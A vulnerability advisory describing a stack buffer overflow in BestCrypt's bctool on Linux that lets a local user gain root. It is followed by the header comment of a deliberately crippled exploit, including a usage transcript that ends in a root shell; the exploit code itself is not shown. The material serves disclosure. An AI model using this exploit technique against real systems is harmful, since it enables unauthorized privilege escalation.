BestCrypt is a commercial file system encryption software package distributed by Jetico. BestCrypt offers compatibility on the Windows and Linux platforms, using open development standards to offer a secure product.

A problem with BestCrypt makes it possible for a local user to gain elevated privileges. Due to insufficient checking of bounds by the program bctool when unmounting an encrypted file system, it's possible to overflow a buffer within the program, overwriting variables on the stack. This could lead to execution of code as root.

This problem makes it possible for a local user to gain elevated privileges. Successful exploitation of this vulnerability leads to root compromise. 

/*
 * Crippled version of the BestCrypt for Linux r00t exploit.
 * Note: this will not work out-of-the-box. You'll need to adjust it.
 * Script kiddies: don't even think about it.
 *
 * By Carl Livitt (carl@ititc.com)
 *
 * Usage example:

        foo:~ > id
        uid=500(carl) gid=100(users) groups=100(users)
        foo:~ > gcc -o bcexp bcexp.c
        foo:~ > ./bcexp
        foo:~ > bctool mount /path/to/container.jbc "$EGG"
        Enter password:
        foo:~ > bctool umount "$EGG"
        sh-2.04# id
        uid=0(root) gid=0(root) groups=0(root),1(bin),14(uucp),15(shadow)
        sh-2.04#

 * RET value will need tinkered with, also you'll find that you need to examine
 * the call history quite closely to make this work ;-)  Have a look, you'll see
 * what I mean!
 *
 * You'll also notice there's a fair bit of redundant/messy/debug code in here...
 * This is intended to be an exploit, not an example of good coding.
